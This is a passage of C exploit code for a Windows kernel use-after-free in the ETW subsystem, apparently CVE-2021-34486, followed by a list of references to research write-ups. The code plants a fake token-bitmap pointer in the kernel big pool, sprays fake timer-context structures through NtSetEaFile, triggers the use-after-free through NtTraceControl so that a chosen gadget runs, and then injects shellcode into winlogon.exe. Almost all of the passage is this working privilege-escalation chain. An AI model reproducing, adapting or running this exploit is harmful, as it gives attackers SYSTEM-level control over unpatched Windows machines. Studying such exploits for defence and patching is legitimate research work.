*(ULONG64*)(lpData + 0x8) = ktoken + 0x40; // RTL_BITMAP-Buffer

ULONG_PTR PoolChunk = AllocateInBigPool(hThread, (WORD)dwSize, (LPVOID)lpData);
if (PoolChunk)
{
printf("[*] data stored at %p\n", PoolChunk);
}


ULONG status = ERROR_SUCCESS;
TRACEHANDLE SessionHandle = 0;
EVENT_TRACE_PROPERTIES* pSessionProperties = NULL;
ULONG BufferSize = 0;
BOOL TraceOn = TRUE;

// set guid
CLSIDFromString(L"{14f8138e-3b61-580b-544b-2609378ae460}", &SessionGuid);
CLSIDFromString(L"{14f8138e-3b61-580b-544b-2609378ae460}", &ProviderGuid);
CLSIDFromString(L"{6b4012d0-22b6-464d-a553-20e9618403a2}", &NoPermissionGuid);

// Allocate memory for the session properties. The memory must
// be large enough to include the log file name and session name,
// which get appended to the end of the session properties structure.

BufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGFILE_PATH) + sizeof(LOGSESSION_NAME);
pSessionProperties = (EVENT_TRACE_PROPERTIES*)malloc(BufferSize);
if (NULL == pSessionProperties)
{
wprintf(L"[-] Unable to allocate %d bytes for properties structure.\n", BufferSize);
exit(-1);
}

// Set the session properties. You only append the log file name
// to the properties structure; the StartTrace function appends
// the session name for you.

ZeroMemory(pSessionProperties, BufferSize);
pSessionProperties->Wnode.BufferSize = BufferSize;
pSessionProperties->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
pSessionProperties->Wnode.ClientContext = 1; //QPC clock resolution
pSessionProperties->Wnode.Guid = SessionGuid;
pSessionProperties->LogFileMode = EVENT_TRACE_FILE_MODE_SEQUENTIAL;
pSessionProperties->MaximumFileSize = 1; // 1 MB
pSessionProperties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
pSessionProperties->LogFileNameOffset = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGSESSION_NAME);
StringCbCopy((LPWSTR)((char*)pSessionProperties + pSessionProperties->LogFileNameOffset), sizeof(LOGFILE_PATH), LOGFILE_PATH);

// Create the trace session.

status = StartTrace((PTRACEHANDLE)&SessionHandle, LOGSESSION_NAME, pSessionProperties);
if (ERROR_SUCCESS != status)
{
wprintf(L"[-] StartTrace() failed with %lu\n", status);
exit(-1);
}

// Enable the providers that you want to log events to your session.

status = EnableTraceEx2(
SessionHandle,
(LPCGUID)&ProviderGuid,
EVENT_CONTROL_CODE_ENABLE_PROVIDER,
TRACE_LEVEL_INFORMATION,
0,
0,
0,
NULL
);

if (ERROR_SUCCESS != status)
{
wprintf(L"[-] EnableTrace() failed with %lu\n", status);
TraceOn = FALSE;
exit(-1);
}

wprintf(L"[*] The LoggerId is : %p\n", SessionHandle);

IO_STATUS_BLOCK iostatus = { 0 };
char buffer[FAKE_TIME_CONTEXTINFO_SIZE] = { 0 };

*(ULONG64*)buffer = 0; // timerContextinfo->WorkItem.List.Flink = 0;
*(ULONG64*)(buffer + 0x10) = GadgetAddr; // timerContextinfo->WorkItem.WorkerRoutine = vulFunction;
*(ULONG64*)(buffer + 0x18) = PoolChunk; // timerContextinfo->WorkItem.Parameter = vulParameter;
*(WORD*)(buffer + 0x28) = SessionHandle; // timerContextinfo->LoggerId = LoggerId;

DWORD returnLength = 0;

ETW_UPDATE_PERIODIC_CAPTURE_STATE InBuff1 = {
(UINT32)SessionHandle,
0,
1,
{ SessionGuid } };

status = NtTraceControl(EtwFunctionUpdatePeriodicCaptureState, &InBuff1, sizeof(InBuff1), &InBuff1, sizeof(InBuff1), &returnLength);
if (!NT_SUCCESS(status)) {
printf("[-] Failed to call NtTraceControl : %p\n", status);
exit(-1);
}

ETW_UPDATE_PERIODIC_CAPTURE_STATE InBuff2 = {
(UINT32)SessionHandle,
0,
1,
{ NoPermissionGuid } };

status = NtTraceControl(EtwFunctionUpdatePeriodicCaptureState, &InBuff2, sizeof(InBuff2), &InBuff2, sizeof(InBuff2), &returnLength);
if (!NT_SUCCESS(status)) {
printf("[-] Failed to call NtTraceControl : %p\n", status);
exit(-1);
}

// Sleep(SLEEP_TIME);

printf("[*] Spray fake timerContextinfo\n");

for (int i = 0; i < SPRAY_SIZE; i++) {
NtSetEaFile(file, &iostatus, buffer, sizeof(buffer));
}

printf("[*] Trigger UAF\n");

status = NtTraceControl(EtwFunctionUpdatePeriodicCaptureState, &InBuff1, sizeof(InBuff1), &InBuff1, sizeof(InBuff1), &returnLength);
if (!NT_SUCCESS(status)) {
printf("[-] Failed to call NtTraceControl : %p\n", status);
exit(-1);
}

Sleep(SLEEP_TIME);

printf("[+] Inject shellcode to winlogin.exe!\n");

InjectToWinlogon();

if (SessionHandle)
{
if (TraceOn)
{
status = EnableTraceEx2(
SessionHandle,
(LPCGUID)&ProviderGuid,
EVENT_CONTROL_CODE_DISABLE_PROVIDER,
TRACE_LEVEL_INFORMATION,
0,
0,
0,
NULL
);
}

status = ControlTrace(SessionHandle, LOGSESSION_NAME, pSessionProperties, EVENT_TRACE_CONTROL_STOP);

if (ERROR_SUCCESS != status)
{
wprintf(L"ControlTrace(stop) failed with %lu\n", status);
}
}

if (pSessionProperties)
{
free(pSessionProperties);
pSessionProperties = NULL;
}

}

Reference

CVE-2021-34486 etw 事件管理器内核漏洞利用 - 安全客,安全资讯平台 (anquanke.com)

Blog Post Title | PixiePoint Security

Small dumps in the big pool - Blah Cats

NtTraceControl (geoffchappell.com)

etw | sfink @ Mozilla

WMI_LOGGER_CONTEXT (geoffchappell.com)

AD-permissions/well-known_sids.txt at master · ANSSI-FR/AD-permissions (github.com)

Example that Creates a Session and Enables a Manifest-based or Classic Provider - Win32 apps | Microsoft Docs

AllocateLargePool.c (github.com)